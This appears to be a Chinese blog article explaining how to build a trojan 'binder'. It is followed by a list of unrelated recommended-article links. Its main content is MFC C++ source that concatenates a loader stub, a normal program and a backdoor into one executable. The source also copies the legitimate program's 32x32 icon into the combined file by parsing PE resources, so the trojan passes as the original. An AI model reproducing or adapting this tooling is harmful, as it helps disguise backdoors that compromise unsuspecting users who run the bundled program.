木马捆绑是把一个有界面的正常程序,和一个后门程序捆绑在一起从而制作一个木马。
木马捆绑器一般是三个程序和在一起,程序1:正常程序,程序2:后门程序,程序3:
一个加载。这个加载器的作用就是包容、释放、加载这前面两个个程序,
MZ********************************
**********************************
********************************** <------加载程序
**********************************
**********************************
----------------------------------
**********************************
**********************************
********************************** <------正常程序
**********************************
**********************************
----------------------------------
**********************************
********************************** <------木马程序
**********************************

这个程序加载的时候先把下边两个程序释放的一个临时目录(一般最好不让别人看见)
然后运行这两个程序。木马就可以正常加载了。

看看局部代码,主要有用的就是图标修改

void CExeBinderDlg::OnButton4() //开始捆绑
{
CString strInfectFilename;
m_Edit1.GetWindowText(strInfectFilename);
//读出原始文件内容
CFile InfectFile(strInfectFilename,CFile::modeRead|CFile::shareDenyNone);//得到原始文件长度
DWORD dwInfectFileLength=InfectFile.GetLength();
//分配缓冲区
BYTE* pbyInfectFile=new BYTE[dwInfectFileLength];//读出原始文件内容
InfectFile.Read(pbyInfectFile,dwInfectFileLength);
strInfectFilename=InfectFile.GetFileName();
InfectFile.Close();
/
CString strInfectFilename1;
m_Edit2.GetWindowText(strInfectFilename1);
//读出原始文件内容
CFile InfectFile1(strInfectFilename1,CFile::modeRead|CFile::shareDenyNone);//得到原始文件长度
DWORD dwInfectFileLength1=InfectFile1.GetLength();
//分配缓冲区
BYTE* pbyInfectFile1=new BYTE[dwInfectFileLength1];//读出原始文件内容
InfectFile1.Read(pbyInfectFile1,dwInfectFileLength1);
strInfectFilename1=InfectFile1.GetFileName();
InfectFile1.Close();
/
CString exeFullPath;      //用于保存当前执行程序路径
GetModuleFileName(NULL,exeFullPath.GetBufferSetLength(MAX_PATH),MAX_PATH);
exeFullPath.GetBufferSetLength(exeFullPath.ReverseFind('\\')+1);  //找到
exeFullPath.ReleaseBuffer();
CString strVirusFilename=exeFullPath+"SelfRun.bud";  //源文件名CFile VirusFile(strVirusFilename,CFile::modeRead|CFile::shareDenyNone);//得到病毒文件长度
DWORD dwVirusFileLength=VirusFile.GetLength();
//分配缓冲区
BYTE* pbyVirusFile=new BYTE[dwVirusFileLength];//读出病毒内容
VirusFile.Read(pbyVirusFile,dwVirusFileLength);
VirusFile.Close();
/
char FileInfo[80];
ZeroMemory(FileInfo,sizeof(FileInfo));memcpy(&FileInfo[0],strInfectFilename.GetBuffer(strInfectFilename.GetLength()),strInfectFilename.GetLength());
memcpy(&FileInfo[32],strInfectFilename1.GetBuffer(strInfectFilename1.GetLength()),strInfectFilename1.GetLength());DWORD dwInfectFilePos=dwVirusFileLength;
DWORD dwInfectFilePos1=dwVirusFileLength+dwInfectFileLength;memcpy(&FileInfo[64],&dwInfectFilePos,4);
memcpy(&FileInfo[68],&dwInfectFilePos1,4);
/
//修改病毒文件的图标
int nRet=ModifyIcon((char**)&pbyVirusFile,(char*)pbyInfectFile);
if(nRet==0)//如果修改图标失败,就提示一下
{
MessageBox("无法取出执行文件1的图标数据,捆绑后的文件将使用默认图标。","错误",MB_OK|MB_ICONWARNING);
}
/
CString strTargetFilename;  //目标文件名
m_Edit3.GetWindowText(strTargetFilename);CFile TargetFile(strTargetFilename,CFile::modeCreate|CFile::modeWrite|CFile::shareDenyNone);//写病毒内容
TargetFile.Write(pbyVirusFile,dwVirusFileLength);
//写原始文件内容
TargetFile.Write(pbyInfectFile,dwInfectFileLength);
//写原始文件内容
TargetFile.Write(pbyInfectFile1,dwInfectFileLength1);
//写病毒配置信息
TargetFile.Write(FileInfo,sizeof(FileInfo));
TargetFile.Close();delete[] pbyInfectFile;
delete[] pbyInfectFile1;
delete[] pbyVirusFile;MessageBox("捆绑完成。","完成",MB_OK|MB_ICONINFORMATION);
}//private//
int CExeBinderDlg::ModifyIcon(char **pDesc,char *pSrc)//修改EXE图标
{
char *pFileA=*pDesc;
char *pFileB=pSrc;
/**先读以pSrc的资源***************************************/
IMAGE_DOS_HEADER* dosHeadB=(IMAGE_DOS_HEADER*)pFileB;
IMAGE_NT_HEADERS* ntHeadB=(IMAGE_NT_HEADERS*)(pFileB+dosHeadB->e_lfanew);
IMAGE_SECTION_HEADER* secHeadB=(IMAGE_SECTION_HEADER*)((char*)ntHeadB+sizeof(IMAGE_NT_HEADERS));
for(int i=0;i<ntHeadB->FileHeader.NumberOfSections;i++,secHeadB++)
{if(strcmp((char*)secHeadB->Name,".rsrc")==0){break;}
}
IMAGE_RESOURCE_DIRECTORY        *dirResourceB=(IMAGE_RESOURCE_DIRECTORY *)((char *)pFileB + secHeadB->PointerToRawData);
IMAGE_RESOURCE_DIRECTORY_ENTRY  *entryResourceB=(IMAGE_RESOURCE_DIRECTORY_ENTRY *)((DWORD)dirResourceB + sizeof (IMAGE_RESOURCE_DIRECTORY));
IMAGE_RESOURCE_DIRECTORY        *dirTempB;
IMAGE_RESOURCE_DIRECTORY_ENTRY  *entryTempB;
IMAGE_RESOURCE_DIRECTORY        *dirTempICONB;
IMAGE_RESOURCE_DIRECTORY_ENTRY  *entryTempICONB;
IMAGE_RESOURCE_DATA_ENTRY       *entryDataB;DWORD dwSrcIconLength=0;
char *pSrcIcon;for(int i=0;i<dirResourceB->NumberOfIdEntries;i++,entryResourceB++)
{   //所有资源if(entryResourceB->Name==3){                                 //ICONdirTempB=(IMAGE_RESOURCE_DIRECTORY *)((char *)dirResourceB+entryResourceB->OffsetToDirectory);entryTempB=(IMAGE_RESOURCE_DIRECTORY_ENTRY *)((char *)dirTempB+sizeof(IMAGE_RESOURCE_DIRECTORY));for(int k=0;k<dirTempB->NumberOfIdEntries;k++,entryTempB++){ //子目录if(entryTempB->DataIsDirectory >0){                      //还有子目录dirTempICONB=(IMAGE_RESOURCE_DIRECTORY *)((char *)dirResourceB + entryTempB->OffsetToDirectory );entryTempICONB=(IMAGE_RESOURCE_DIRECTORY_ENTRY *)((char *)dirTempICONB + sizeof(IMAGE_RESOURCE_DIRECTORY));entryDataB=(IMAGE_RESOURCE_DATA_ENTRY *)((char *)dirResourceB + entryTempICONB->OffsetToData );//dwSrcIconLength=entryDataB->Size;pSrcIcon=entryDataB->OffsetToData - secHeadB->VirtualAddress + (char *)dirResourceB;LPDWORD pdwSrcIconSize=(LPDWORD)(pSrcIcon+4);if(*pdwSrcIconSize==32)//找到了32x32的图标就终止查找,否则继续找.{break;}//}}}
}/**再找到Virus的ICON入口*******************************************************/
IMAGE_DOS_HEADER *dosHeadA=(IMAGE_DOS_HEADER *)pFileA;
IMAGE_NT_HEADERS *ntHeadA=(IMAGE_NT_HEADERS *) (pFileA + dosHeadA->e_lfanew);
IMAGE_SECTION_HEADER *secHeadA=(IMAGE_SECTION_HEADER *)((char *)ntHeadA+ sizeof(IMAGE_NT_HEADERS));
for(int i=0;i<ntHeadA->FileHeader .NumberOfSections ;i++,secHeadA++){if(strcmp((char *)secHeadA->Name,".rsrc")==0){break;}
}
IMAGE_RESOURCE_DIRECTORY        *dirResourceA=(IMAGE_RESOURCE_DIRECTORY *)((char *)pFileA + secHeadA->PointerToRawData);
IMAGE_RESOURCE_DIRECTORY_ENTRY  *entryResourceA=(IMAGE_RESOURCE_DIRECTORY_ENTRY *)((DWORD)dirResourceA + sizeof (IMAGE_RESOURCE_DIRECTORY));
IMAGE_RESOURCE_DIRECTORY        *dirTemp;
IMAGE_RESOURCE_DIRECTORY_ENTRY  *entryTemp;
IMAGE_RESOURCE_DIRECTORY        *dirTempICON;
IMAGE_RESOURCE_DIRECTORY_ENTRY  *entryTempICON;
IMAGE_RESOURCE_DATA_ENTRY       *entryData;DWORD dwDescIconLength=0;
char *pDescIcon;for(int i=0;i<(dirResourceA->NumberOfIdEntries+dirResourceA->NumberOfNamedEntries);i++,entryResourceA++)
{   //所有资源if(entryResourceA->Name==3){                                 //ICONdirTemp=(IMAGE_RESOURCE_DIRECTORY *)((char *)dirResourceA+entryResourceA->OffsetToDirectory);entryTemp=(IMAGE_RESOURCE_DIRECTORY_ENTRY *)((char *)dirTemp+sizeof(IMAGE_RESOURCE_DIRECTORY));for(int k=0;k<(dirTemp->NumberOfIdEntries+dirTemp->NumberOfNamedEntries);k++,entryTemp++){  //子目录if(entryTemp->DataIsDirectory >0){                       //还有子目录dirTempICON=(IMAGE_RESOURCE_DIRECTORY *)((char *)dirResourceA + entryTemp->OffsetToDirectory );entryTempICON=(IMAGE_RESOURCE_DIRECTORY_ENTRY *)((char *)dirTempICON + sizeof(IMAGE_RESOURCE_DIRECTORY));entryData=(IMAGE_RESOURCE_DATA_ENTRY *)((char *)dirResourceA + entryTempICON->OffsetToData );//pDescIcon=entryData->OffsetToData - secHeadA->VirtualAddress + (char *)dirResourceA;dwDescIconLength=entryData->Size;//}}}
}//如果不是"图标大小符合"就返回
if(dwSrcIconLength>dwDescIconLength)
{return 0;
}//修改EXE图标
memcpy(pDescIcon,pSrcIcon,dwSrcIconLength);
return 1;
}

木马捆绑器设计思路和源码相关推荐

  1. 1、Guava-连接器Joiner使用和源码分析

    Guava-连接器Joiner使用和源码分析 1.Guava-连接器Joiner使用和源码分析 1.1 使用版本 1.2 代码示例 1.2.1 基本使用 1.2.2 集合中Null导致空指针异常 1. ...

  2. Zxing生成二维码思路和源码解析

    Zxing生成二维码思路和源码解析 本博文是一篇介绍google zxing包生成二维码的思路和它的源码的文章. 一.引入 如何调用zxing的代码生成一个二维码呢?主要的函数只有一个,如下所示: B ...

  3. 从 json 文件到炫酷动画 - Lottie 实现思路和源码分析

    Lottie是最近Airbnb开源的动画项目,支持Android.iOS.ReactNaitve三个平台,相关背景介绍可以参考之前的文章Airbnb开源炫酷动画库Lottie(译)-看看Airbnb的 ...

  4. android lottie字体json,从json文件到炫酷动画-Lottie实现思路和源码分析

    从json文件到炫酷动画-Lottie实现思路和源码分析,Lottie是最近Airbnb开源的动画项目,支持Android.iOS.ReactNaitve三个平台,本文分析主要Lottie把json文 ...

  5. 购物车及商品php代码_php实现商城购物车的思路和源码分析

    本文介绍一个php实现的购物车代码,功能实现完整,具有一定的参考价值 这里我们为你提供个简单的php购物车代码,从增加购物产品与发生购买了,在商城开发中,这个功能是少不了的 具体分析如下: 对购物车里 ...

  6. Java 版植物大战僵尸思路和源码分享!

    点击上方"逆锋起笔",公众号回复 PDF 领取大佬们推荐的学习资料 来源 | https://urlify.cn/byeEjy 有谁没玩过植物大战僵尸吗?用Java语言开发了自己的 ...

  7. php mysql购物车实现原理_PHP实现购物车的思路和源码分析

    这里主要是记录下自己的购物车的思路,具体功能实现,但是尚未在实际项目中用到,不对之处欢迎指正 项目中需要添加购物车. 目录说明 buy.php 点击购买之后的操作 car.php 购物车,显示购买的东 ...

  8. linux实现cp拷贝命令的思路和源码

    1.思路: 命令参数样式: cp src.c des.c argv[0] argv[1] argv[2] (1).C语言参数. int argc(参数个数). char** argv (2)编程思路: ...

  9. Python版组合数计算方法优化思路和源码

    总体说明:本文的优化思路并不局限于Python,但C.C++.C#.Java等语言无法使用内置类型直接表示大整数,需要通过数组等特定形式并自己实现大整数乘除法才能实现,因此本文只介绍Python语言的 ...

最新文章

  1. 当互联网人决定躺平......
  2. 初探GNN-文本表示学习
  3. mysql最高安全级别双一_MySQL核心之双一原则
  4. cmder上传文件到服务器,wget 结合everything上传文件到服务器端(以及更改ip地址)...
  5. 大学计算机基础书本里的毕业论文源稿,计算机基础毕业论文范文
  6. 判断应用程序是否是当前激活程序(获得焦点的程序)
  7. linux各版本基线检查脚本(centos6、centos7、ubuntu系列)
  8. Confluence 6 安全相关问题提交链接
  9. [C++/CLI编程宝典][7]基本概念
  10. 程序员的数学【概率论】
  11. c语言编程题题库及详解答案,C语言编程题及答案.pdf
  12. win2003服务器-远程复制无法读取源文件或磁盘
  13. 手机与电脑大文件无线传输方案
  14. “New”一个完美对象,再来好好面向对象
  15. 一个简单的例子来理解监督学习和非监督学习及其区别
  16. 企业降低包装成本的13种简单方法(下篇)
  17. 接口自动化测试概述及流程梳理
  18. 美化彩虹秒赞系统内页模版
  19. hbuilderx 数据库_HBuilderX入门教程
  20. NSX-T 恢复DFW策略

热门文章

  1. (常用API)正则表达式语法规则
  2. SpringMVC异常处理之分析和搭建环境
  3. 异常-简单的异常捕获
  4. Linux 初始化脚本 (centos6 centos7 通用)
  5. 我的前端工具集(四)树状结构后篇
  6. 51nod 正整数分组
  7. 沃尔玛建立自家的人工智能网络,抗衡竞争对手亚马逊
  8. mysql数据库的快捷键
  9. CSS+DIV定位分析(relative,absolute,static,fixed)
  10. PHP 文件上传类 FileUpload 高洛峰老师 细说PHP